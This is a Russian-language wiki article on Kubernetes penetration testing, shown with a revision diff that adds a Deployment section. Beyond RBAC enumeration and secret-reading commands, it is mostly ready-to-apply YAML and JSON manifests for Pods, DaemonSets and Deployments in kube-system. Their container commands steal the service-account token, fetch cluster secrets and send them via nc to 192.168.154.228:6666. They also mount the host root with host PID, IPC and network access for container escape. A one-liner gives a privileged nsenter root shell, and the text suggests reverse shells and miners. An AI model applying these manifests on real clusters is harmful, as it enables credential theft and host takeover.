Kubernetes — различия между версиями
| Drakylar (обсуждение | вклад) м | Drakylar (обсуждение | вклад)  м | ||
| Строка 458: | Строка 458: | ||
| <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
| curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json | curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | = Привилегии - Deployment =  | ||
| + | |||
| + | Deployment - представление работающего приложения в кластере (например, количество его репликаций). | ||
| + | |||
| + | |||
| + | == Доступ - create == | ||
| + | |||
| + | Аналогично "Pods - create", мы можем создать Deployment, у которого при старте будет выполняться наша команда.  | ||
| + | |||
| + | В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.  | ||
| + | |||
| + | При желании, конфиг можно отредактировать, добавив: | ||
| + | |||
| + | 1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера. | ||
| + | |||
| + | 2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему | ||
| + | |||
| + | |||
| + | Все это можно найти в главе выше "Pods - create". | ||
| + | |||
| + | |||
| + | === kubectl === | ||
| + | |||
| + | <syntaxhighlight lang="yaml" line="1" enclose="div" style="overflow-x:auto" > | ||
| + | apiVersion: apps/v1 | ||
| + | kind: Deployment | ||
| + | metadata: | ||
| + |   name: alpine | ||
| + |   namespace: kube-system | ||
| + | spec: | ||
| + |   replicas: 1 | ||
| + |   selector: | ||
| + |     matchLabels: | ||
| + |       app: alpine | ||
| + |   template: | ||
| + |     metadata: | ||
| + |       labels: | ||
| + |         app: alpine | ||
| + |     spec: | ||
| + |       serviceAccountName: bootstrap-signer | ||
| + |       automountServiceAccountToken: true | ||
| + |       hostNetwork: true | ||
| + |       containers: | ||
| + |       - name: alpine | ||
| + |         image: alpine | ||
| + |         command: ["/bin/sh"] | ||
| + |         args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000'] | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
| + | kubectl apply -f malicious-deployment.yaml | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | === curl === | ||
| + | |||
| + | <syntaxhighlight lang="json" line="1" enclose="div" style="overflow-x:auto" > | ||
| + | { | ||
| + |   "apiVersion": "apps/v1", | ||
| + |   "kind": "Deployment", | ||
| + |   "metadata": { | ||
| + |     "name": "alpine", | ||
| + |     "namespace": "kube-system" | ||
| + |   }, | ||
| + |   "spec": { | ||
| + |     "replicas": 1, | ||
| + |     "selector": { | ||
| + |       "matchLabels": { | ||
| + |         "app": "alpine" | ||
| + |       } | ||
| + |     }, | ||
| + |     "template": { | ||
| + |       "metadata": { | ||
| + |         "labels": { | ||
| + |           "app": "alpine" | ||
| + |         } | ||
| + |       }, | ||
| + |       "spec": { | ||
| + |         "serviceAccountName": "bootstrap-signer", | ||
| + |         "automountServiceAccountToken": true, | ||
| + |         "hostNetwork": true, | ||
| + |         "containers": [ | ||
| + |           { | ||
| + |             "name": "alpine", | ||
| + |             "image": "alpine", | ||
| + |             "command": [ | ||
| + |               "/bin/sh" | ||
| + |             ], | ||
| + |             "args": [ | ||
| + |               "-c", | ||
| + |               "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000" | ||
| + |             ] | ||
| + |           } | ||
| + |         ] | ||
| + |       } | ||
| + |     } | ||
| + |   } | ||
| + | } | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
| + | curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json | ||
| </syntaxhighlight> | </syntaxhighlight> | ||
Версия 14:00, 13 марта 2022
Статья посвящена тестированию на проникновение Kubernetes.
Предварительно статья разделена на сервисы и как их можно найти, эксплуатировать и может быть закрепиться.
Содержание
Общее
Запросы к API (шпаргалка)
https://kubernetes.io/ru/docs/reference/kubectl/cheatsheet/
Настройка утилит
kubectl
Для общения с API можно воспользоваться стандартным ПО kubectl.
Пример запроса:
kubectl get secrets
Запросы можно делать inline с токеном:
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=truecurl
Для curl кроме стандартных параметров (токен, неймспейс) потребуется адрес API-сервера.
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# Лишняя строка, но можно использовать с curl --cacert ${CACERT}
# export CACERT=${SERVICEACCOUNT}/ca.crt
curl -k --header "Authorization: Bearer ${TOKEN}"Текущая конфигурация
Конфиг
Общая информация
kubectl config view
Пользователи
Список пользователей
kubectl config get-users
kubectl config view -o jsonpath='{.users[*].name}'Удалить пользователя
kubectl config unset users.fooКонтексты
Список контекстов
kubectl config get-contexts
Текущий контекст
kubectl config current-contextУстановить контекст
kubectl config use-context my-cluster-nameNamespace
Установить namespace по-умолчанию
kubectl config set-context --current --namespace=ggckad-s2Pod
Локальные файлы
ca.crt - сертификат для проверки коммуникаций (можно отключить в curl функцией -k)
namespace - текущее рабочее пространство
token - сервисный токен Pod'а
Где их обычно можно найти:
/run/secrets/kubernetes.io/serviceaccount
/var/run/secrets/kubernetes.io/serviceaccount
/secrets/kubernetes.io/serviceaccountПеременные окружения
Команда для получения адреса API-сервера (обычно переменная KUBECONFIG):
(env | set) | grep -i "kuber|kube"
Role-Based Access Control
Система по управлению ролями. Если проще - просто система контроля доступа, которая говорит куда у нас есть доступ и что это за доступ (get, list, update, delete).
Как правило, неправильная настройка доступа может привести к проблемам безопасности.
Список привилегий
Для получения списка доступных ресурсов у сервисного аккаунта, требуется выполнить следующую команду:
# Весь список привилегий
kubectl get rolebindings,clusterrolebindings --all-namespaces -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,SERVICE_ACCOUNTS:subjects[?(@.kind=="ServiceAccount")].name' | grep service_account_namecurl -s $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings?limit=500 --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
# удачи парсить:)Там же можно посмотреть информацию о роли RBAC. Или сделать отдельные запросы:
kubectl get role system:controller:bootstrap-signer -n kube-system -o yamlДругие команды для получения информации о текущей роли:
# Текущие привилегии
kubectl auth can-i --list
## use `--as=system:serviceaccount:<namespace>:<sa_name>` to impersonate a service account
# Список ролей кластера
kubectl get clusterroles
kubectl describe clusterroles
# Список Cluster Roles Bindings
kubectl get clusterrolebindings
kubectl describe clusterrolebindings
# Список ролей
kubectl get roles
kubectl describe roles
# Список Role Buildings
kubectl get rolebindings
kubectl describe rolebindings
Далее проблемы будут разделены на ресурсы, к которым был предоставлен доступ
Привилегии - secrets
Относится к etcd - хранилище секретов.
Доступ list
Позволяет получить список всех секретов в namespace.
kubectl
kubectl get secrets
HTTP API
curl -s $APISERVER/api/v1/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt
curl -s $APISERVER/api/v1/namespaces/kube-system/secrets/ --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crtДоступ get
Позволяет прочитать секрет.
Проблема в том, что при этом не всегда у нас будет доступ list на получение списка секретов, но тк идентификатор секрета - это 5 символов из A..Z, поэтому его возможно перебрать.
Пример названия секрета пользователя drakylar-admin:
drakylalr-admin-token-sgjbpгде sgjbp - случайная строка.
kubectl
Получить секрет по имени
kubectl get secrets secret_name -o yamlcurl
curl -s $APISERVER/api/v1/namespaces/default/secrets/drakylar-admin-token-sgjbp --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crtПривилегии - pods
Доступ create
Позволяет создавать новые Pod'ы.
Три варианта эксплуатации:
1. Кража токена сервисного аккаунта: в случае, если у созданного пода будет прикреплен сервисный аккаунт с другими привилегиями, то мы можем забрать токен из него и работать от имени сервисного аккаунта.
2. Доступ на хостовую систему, на которой запущен конейнер (побег из конейнера см. docker_escape)
3. Запуск майнера
kubectl
Для этого требуется создать yaml-файл со следующим содержимым:
apiVersion: v1
kind: Pod
metadata:
  name: alpine
  namespace: kube-system
spec:
  containers:
  - name: alpine
    image: alpine
    command: ["/bin/sh"]
    args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
    volumeMounts:
    - mountPath: /host
      name: host-volume
  restartPolicy: Never
  hostIPC: true
  hostNetwork: true
  hostPID: true
  serviceAccountName: bootstrap-signer
  automountServiceAccountToken: true
  volumes:
  - name: host-volume
    hostPath:
      path: /И выполнить его командой:
kubectl apply -f malicious-pod.yamlЧто делает созданный Pod:
1. подключится к 192.168.154.228:6666 и выведет информацию о сервисном аккаунте который будет закреплен за данным контейнером (кража токена, который можно использовать на другом PC)
2. hostPID - работа с хостовыми PID (см. главу Docker_escape)
3. hostIPC - работа с хостовыми IPC (см. главу Docker_escape)
4. hostNetwork - работа с хостовыми сетями (см. главу Docker_escape)
5. volumeMounts - хостовая файловая система, доступная по /host (см. главу Docker_escape)
Если вам не нужна кража токена, то однострочник для запуска:
kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'curl
Для запросов через curl, требуется создать json-файл.
{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "name": "alpine"
    },
    "spec": {
        "restartPolicy": true,
        "hostIPC": true,
        "hostNetwork": true,
        "hostPID": true,
        "volumes": [
            {
                "name": "host-volume",
                "hostPath": {
                    "path": "/"
                }
            }
        ],
        "containers": [
            {
                "name": "alpine",
                "image": "alpine",
                "commands": ["/bin/sh"],
                "args": ["-c", "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"],
                "serviceAccountName" : "bootstrap-signer",
                "automountServiceAccountToken": true,
                "hostNetwork": true,
                "imagePullPolicy": "IfNotPresent",
                "securityContext": {
                    "allowPrivilegeEscalation": true,
                    "privileged": true,
                    "runAsUser": 0
                },
                "volumesMount": [
                    {
                        "mountPath": "/host",
                        "name": "host-volume"
                    }
                ]                  
            }
        ]
    }
}И выполнить запрос:
curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.jsonНо! Если вам вдруг требуется еще и сканировать, то лучше использовать созданный контейнер для этого. Например, вписав в конфиг команду на реверс-шелл.
Привилегии - DaemonSet
DaemonSet - создание копии Pod'а.
Доступ - create
Аналогично "Pods - create", мы можем создать DaemonSet, у которого при старте будет выполняться наша команда.
В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.
При желании, конфиг можно отредактировать, добавив:
1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.
2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему
Все это можно найти в главе выше "Pods - create".
kubectl
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: alpine
  namespace: kube-system
spec:
  selector:
    matchLabels:
      name: alpine
  template:
    metadata:
      labels:
        name: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
kubectl apply -f malicious-pod.yamlcurl
{
  "apiVersion": "apps/v1",
  "kind": "DaemonSet",
  "metadata": {
    "name": "alpine",
    "namespace": "kube-system"
  },
  "spec": {
    "selector": {
      "matchLabels": {
        "name": "alpine"
      }
    },
    "template": {
      "metadata": {
        "labels": {
          "name": "alpine"
        }
      },
      "spec": {
        "serviceAccountName": "bootstrap-signer",
        "automountServiceAccountToken": true,
        "hostNetwork": true,
        "containers": [
          {
            "name": "alpine",
            "image": "alpine",
            "command": [
              "/bin/sh"
            ],
            "args": [
              "-c",
              "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
            ]
          }
        ]
      }
    }
  }
}
curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json
Привилегии - Deployment
Deployment - представление работающего приложения в кластере (например, количество его репликаций).
Доступ - create
Аналогично "Pods - create", мы можем создать Deployment, у которого при старте будет выполняться наша команда.
В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.
При желании, конфиг можно отредактировать, добавив:
1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.
2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему
Все это можно найти в главе выше "Pods - create".
kubectl
apiVersion: apps/v1
kind: Deployment
metadata:
  name: alpine
  namespace: kube-system
spec:
  replicas: 1
  selector:
    matchLabels:
      app: alpine
  template:
    metadata:
      labels:
        app: alpine
    spec:
      serviceAccountName: bootstrap-signer
      automountServiceAccountToken: true
      hostNetwork: true
      containers:
      - name: alpine
        image: alpine
        command: ["/bin/sh"]
        args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
kubectl apply -f malicious-deployment.yamlcurl
{
  "apiVersion": "apps/v1",
  "kind": "Deployment",
  "metadata": {
    "name": "alpine",
    "namespace": "kube-system"
  },
  "spec": {
    "replicas": 1,
    "selector": {
      "matchLabels": {
        "app": "alpine"
      }
    },
    "template": {
      "metadata": {
        "labels": {
          "app": "alpine"
        }
      },
      "spec": {
        "serviceAccountName": "bootstrap-signer",
        "automountServiceAccountToken": true,
        "hostNetwork": true,
        "containers": [
          {
            "name": "alpine",
            "image": "alpine",
            "command": [
              "/bin/sh"
            ],
            "args": [
              "-c",
              "apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000"
            ]
          }
        ]
      }
    }
  }
}
curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@test.json